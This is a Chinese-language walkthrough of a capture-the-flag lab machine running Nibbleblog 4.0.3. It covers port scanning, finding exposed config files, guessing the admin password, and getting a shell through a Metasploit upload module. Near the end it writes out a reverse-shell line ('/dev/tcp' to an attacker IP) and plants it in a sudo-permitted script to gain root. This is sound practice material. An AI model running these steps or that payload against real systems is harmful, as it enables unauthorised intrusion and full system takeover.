使用Nmap对靶机地址进行端口嗅探,发现对外开放22、80端口,操作系统为Linux。
查看80端口Web服务,显示”Hello World“,在源代码中发现nibbleblog/目录。
在http://10.129.104.176/nibbleblog/目录,通过”Powered by“信息,得知网站使用Nibbleblog组件。
先使用Dirsearch对http://10.129.104.176/nibbleblog/进行目录扫描,发现可以访问的目录及页面,一一访问。
在http://10.129.104.176/nibbleblog/README页面发现nibbleblog版本为4.0.3。
在http://10.129.104.176/nibbleblog/admin.php页面发现登录页面。
在http://10.129.104.176/nibbleblog/content/private/users.xml页面发现admin账户。
在http://10.129.104.176/nibbleblog/content/private/config.xml页面发现[email protected]邮箱地址。与此同时,还发现大量.bit后缀的类似源代码的文件。
使用Searchsploit对”nibbleblog 4.0.3“进行漏洞发现,发现存在文件上传漏洞,且为MSF漏洞利用脚本。
尝试使用exploit/multi/http/nibbleblog_file_upload模块对其利用,发现需要PASSWORD信息。
尝试使用Burpsuite对登录页面进行爆破,发现爆破动作被发现且阻止(爆破动作忘记截图,以下重放动作同样可以证明),无法通过爆破手段获取admin的口令信息。
尝试利用已获取的敏感信息进行口令猜解,最终根据”[email protected]“获取到admin/nibbles的登录信息。
既然有了登录信息,就可以可用上面的MSF模块来获取shell。填写参数信息如下:
成功获取低权限shell。
在/home/nibbler/目录下获取user.txt。
执行sudo -l,发现/home/nibbler/personal/stuff/monitor.sh具备root执行权限。
查看monitor.sh信息,发现没有该文件。
在/home/nibbler文件夹下发现personal.zip,解压后出现/home/nibbler/personal/stuff/monitor.sh路径,查看脚本信息。
更改monitor脚本信息,写入反弹shell。
echo "#!/bin/bash" > monitor.sh
echo "sh -i >& /dev/tcp/10.10.14.4/4445 0>&1" >> monitor.sh
Kali机用NC监听4445端口:
使用sudo命令运行/home/nibbler/personal/stuff/monitor.sh脚本,成功回弹root权限的shell。
在root目录下成功获取root.txt。